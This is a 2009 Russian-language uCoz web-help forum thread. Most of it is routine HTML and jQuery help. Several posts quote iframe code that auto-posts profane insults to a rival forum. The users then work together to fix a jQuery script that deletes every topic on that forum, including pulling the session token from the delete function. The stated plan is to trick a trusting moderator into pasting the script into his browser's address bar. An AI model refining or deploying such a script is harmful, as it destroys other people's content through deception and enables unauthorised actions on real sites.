|
Помощь в html/css/javascript/jq
|
|
| Infamous | Дата: 25 Октября 2009, 09:50 | Сообщение # 181 |  ● ● ● ● ● 1670 сообщений Статус: Offline | У меня возник такой вопрос - как ко всем внешним ссылкам добавить атрибут onclick с нужным мне значением? | | |
|
| X-3me | Отредактировал X-3me - Воскресенье, 25 Октября 2009, 14:19 Дата: 25 Октября 2009, 13:34 | Сообщение # 182 | ● ● ● ● ● 158 сообщений Статус: Offline | Infamous, Code site = 'asdfghj.ru'; $('a').each(function() { if ( (this.href.indexOf(site) == -1) || (this.href.indexOf(site) > 11) ) { $(this).click(function() { alert(); return false; } } }); | | |
|
| cucYa | Дата: 25 Октября 2009, 13:59 | Сообщение # 183 |  ● ● ● ● ● Совращенный мальчик.7317 сообщений Статус: Offline | | | |
|
| N1ko | Дата: 26 Октября 2009, 07:32 | Сообщение # 184 |  ● ● ● ● ● 6 сообщений Статус: Offline | mob_dp, http://www.actek-uk.ru/forum пользователям вход разрешен, видно прямо с первой страницы, просматривать надо в Mozilla Firefox или в Google Chrome, баг проявляется только в них. | | |
|
| mob_dp | Дата: 31 Октября 2009, 15:56 | Сообщение # 185 | ● ● ● ● ● 4112 сообщений Статус: Offline | Вылетает ошибка: Code Ошибка: upanel.addblock is not a function Ссылка на скрипт Подскажие, в чем проблема? з.ы. upanel.create() запускается нормально | | |
|
| Бармалей | Дата: 31 Октября 2009, 16:09 | Сообщение # 186 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | mob_dp, ссылку на страницу.
 | | |
|
| mob_dp | Дата: 31 Октября 2009, 16:16 | Сообщение # 187 | ● ● ● ● ● 4112 сообщений Статус: Offline | | | |
|
| cucYa | Дата: 31 Октября 2009, 16:20 | Сообщение # 188 |  ● ● ● ● ● Совращенный мальчик.7317 сообщений Статус: Offline | Code upanel = new Object(); Code upanel = document.createElement('div'); ??? | | |
|
| mob_dp | Дата: 31 Октября 2009, 16:29 | Сообщение # 189 | ● ● ● ● ● 4112 сообщений Статус: Offline | cucYa, спасибо, протупил. | | |
|
| venom2587 | Дата: 31 Октября 2009, 16:38 | Сообщение # 190 | ● ● ● ● ● 1 сообщение Статус: Offline | народ, не знал куда написать, но ответьте на мой ворпос пож-та! последний комментарий http://helper.ucoz.ru/load/news/rejting_pljus_minus/3-1-0-47 | | |
|
| mob_dp | Дата: 02 Ноября 2009, 19:19 | Сообщение # 191 | ● ● ● ● ● 4112 сообщений Статус: Offline | Хочу с вами проконсультироваться по такому моменту. На ФТП одно тело написало что есть некий сайт, который ворует куки (пришло сообщение из-за подписки на тему). Ссылка была предоставлена, по ней найдено 8 фреймов: - 6 фреймов 1х1 просто на темы (одна из них "досчитать до 1 000 000") - 1 фрейм на создание темы - 1 фрейм на отсылание лс админу (посл 2 должны постить сообщения с матом) Код последних 2 фреймов: Code <iframe src="http://megasoft.3dn.ru/forum/2-0-0-1-1" onload="fr.document.getElementById('frF3').value='МЕГАСОФТ ХУЙНЯ!!!'; fr.document.getElementById('message').innerHTML='МЕГАСОФТ ХУЙНЯ!!! http://foreach.3dn.ru/ http://foreach.3dn.ru/ http://foreach.3dn.ru/ '; fr.document.getElementById('frF16').click();" name="fr"></iframe>
<iframe src="http://megasoft.3dn.ru/index/14-20673-0-1" onload="xd.document.getElementById('pmSubject').value='ТЫ ПИДАР'; xd.document.getElementById('message').innerHTML='ТЫ ПИДАР'; xd.document.getElementById('sbm').click();" name="xd"></iframe><div id="utbr8214" rel="s18"></div> Проверял в 9 опере: фреймы открываются, но ничего не постится (+ капча для обычных юзеров стоит) Вопрос: можно ли в принципе так управлять объектами? Вроде как попадает под категорию "кроссдоменный запрос", который из-за защиты не сработает. С др стороны, если это чушь, откуда жалоба?.. Ссылка Добавлено (02 Ноябрь 2009, 19:19) --------------------------------------------- Такс, вопрос остается, остальное фтопку. Чучело которое пожаловалось оказалось модером мегасофта. Чучело доверчивое, перейдет куда скажу (т.е. можно что-нить подсунуть). У кого какие варианты есть? p.s. где-то был скрипт удаления всех тем на форуме, вот думаю сжать его в строку и "попросить" ввести в строку адреса на мегасофте | | |
|
| Бармалей | Дата: 02 Ноября 2009, 19:51 | Сообщение # 192 | ● ● ● ● ● Тиран 7772 сообщения Статус: Offline | Quote (mob_dp) Вопрос: можно ли в принципе так управлять объектами? Вроде как попадает под категорию "кроссдоменный запрос", который из-за защиты не сработает. Верно, это все школота балуется. Начиталась про уязвимости и фреймы и пытается их использовать. Но в голове-то пусто. Работать такое не может по определению - иначе тут был бы широкий простор для мечты и для жизни XSS.
 | | |
|
| mob_dp | Дата: 02 Ноября 2009, 19:54 | Сообщение # 193 | ● ● ● ● ● 4112 сообщений Статус: Offline | Quote (Бармалей) Верно, это все школота балуется. Начиталась про уязвимости и фреймы и пытается их использовать. Но в голове-то пусто. Во во. А я то уже подумал что я в жизни что-то упустил... Кстати нашел я скрипт удаления тем, но сейчас он уже не работает (видно после обновлений что-то они таки поменяли). Подрихнуйте кто-нить плз (на общее благо по ликвидации части мегасофта), ибо я не силен в этом: Code $.get('/forum/0-0-1-34', {}, function (Res) { if ($('.threadLink', Res).length == 0) return; $('.threadLink', Res).each(function (i) { $.get('/forum/' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[0] + '-' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[1] + '-0-21-2'); }); }); | | |
|
| X-3me | Отредактировал X-3me - Понедельник, 02 Ноября 2009, 20:19 Дата: 02 Ноября 2009, 20:18 | Сообщение # 194 | ● ● ● ● ● 158 сообщений Статус: Offline | mob_dp, вроде так:Code $.get('/forum/0-0-1-34', {}, function (Res) { if ($('.threadLink', Res).length == 0) return; $('.threadLink', Res).each(function (i) { var ssid = ...; _uPostForm('',{url:'/forum/' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[0] + '-' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[1] + -'+ssid+'-21-2'});} }); }); заместо надо регулярным выражением вытягивать Quote <script type="text/javascript">function thdel(fid,tid){if(confirm('Вы подтверждаете удаление?')){var img=document.getElementById('dbth'+tid);img.width='13';img.height='13';img.src = 'http://s20.ucoz.net/img/ma/m/i2.gif';_uPostForm('',{url:'/forum/'+fid+'-'+tid+'-754760004454525535474-21-2'});}}</script> красную цифру | | |
|
| Gaara | Дата: 03 Ноября 2009, 16:59 | Сообщение # 195 |  ● ● ● ● ● 1312 сообщений Статус: Offline | Quote (X-3me) надо регулярным выражением зачем использовать регулярные выражения, когда их можно легко вытащить split'ом? | | |
|
| mob_dp | Дата: 03 Ноября 2009, 17:46 | Сообщение # 196 | ● ● ● ● ● 4112 сообщений Статус: Offline | Чтобы исп регулярку или скплиты, надо сначала вытащить значение. Это получается, нужно переписать функцию _uPostForm() чтобы можно было сграбить переменную url? | | |
|
| Gaara | Отредактировал Gaara - Вторник, 03 Ноября 2009, 17:51 Дата: 03 Ноября 2009, 17:51 | Сообщение # 197 |  ● ● ● ● ● 1312 сообщений Статус: Offline | зачем? найди на странице объявление функции и оттуда копируй Code .substr(.indexOf("function thdel(fid,tid){if(confirm('Вы подтверждаете удаление?')){var img=document.getElementById('dbth'+tid);img.width='13';img.height='13';img.src = 'http://s20.ucoz.net/img/ma/m/i2.gif';_uPostForm('',{url:'/forum/'+fid+'-'+tid+'-") + "function thdel(fid,tid){if(confirm('Вы подтверждаете удаление?')){var img=document.getElementById('dbth'+tid);img.width='13';img.height='13';img.src = 'http://s20.ucoz.net/img/ma/m/i2.gif';_uPostForm('',{url:'/forum/'+fid+'-'+tid+'-".length).split("-")[0] не проверял только | | |
|
| mob_dp | Дата: 03 Ноября 2009, 17:55 | Сообщение # 198 | ● ● ● ● ● 4112 сообщений Статус: Offline | Gaara, каг бы ее не так посто обвернуть в свою функцию. Она идет вместе с $BODY$ и причем не одна, т.е. с несколькими др функциями. Да и потом, мы говорим и строке, которую достаточно вставить в адрес.строку браузера чтобы удалить все темы, т.е. никаких манипуляций с html и шаблонами. | | |
|
| Gaara | Дата: 03 Ноября 2009, 17:57 | Сообщение # 199 |  ● ● ● ● ● 1312 сообщений Статус: Offline | Quote (mob_dp) $.get('/forum/0-0-1-34', {}, function (Res) { если пользователь может удалять темы, то в Res будет код функции удаления | | |
|
| mob_dp | Дата: 07 Ноября 2009, 00:23 | Сообщение # 200 | ● ● ● ● ● 4112 сообщений Статус: Offline | Gaara, подправь меня плз: Code $.get('/forum/0-0-1-34', {}, function (Res) { if ($('.threadLink', Res).length == 0) return; $('script', Res).each(function(j) { if(this.substr(0,14)=='function thdel') ssid = this.split('-')[1]; }); $('.threadLink', Res).each(function(i) { _uPostForm('',{url:'/forum/' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[0] + '-' + $('.threadLink:eq(' + i + ')', Res).attr('href').split('/')[4].split('-')[1] + -'+ssid+'-21-2'});} }); }); оригинал скрипта удаления: Code <script type="text/javascript">function thdel(fid,tid){if(confirm('Вы подтверждаете удаление?')){var img=document.getElementById('dbth'+tid);img.width='13';img.height='13';img.src = 'http://s21.ucoz.net/img/ma/m/i2.gif';_uPostForm('',{url:'http://wowbug.info/forum/'+fid+'-'+tid+'-640256264511111367461-21-2'});}}</script> Добавлено (07 Ноябрь 2009, 00:23) --------------------------------------------- Нужна помощь с версткой. Моя задача была натянуть сверстанный макет на сайт. Исходник залил сюда А у меня получилось вот что В первом материал растягивается на всю длину, а у меня сжат в минимум. Как исправить? Перерыл стили, думал что нужно обязательно использовать объект с clear:both - не помогло. | | |
|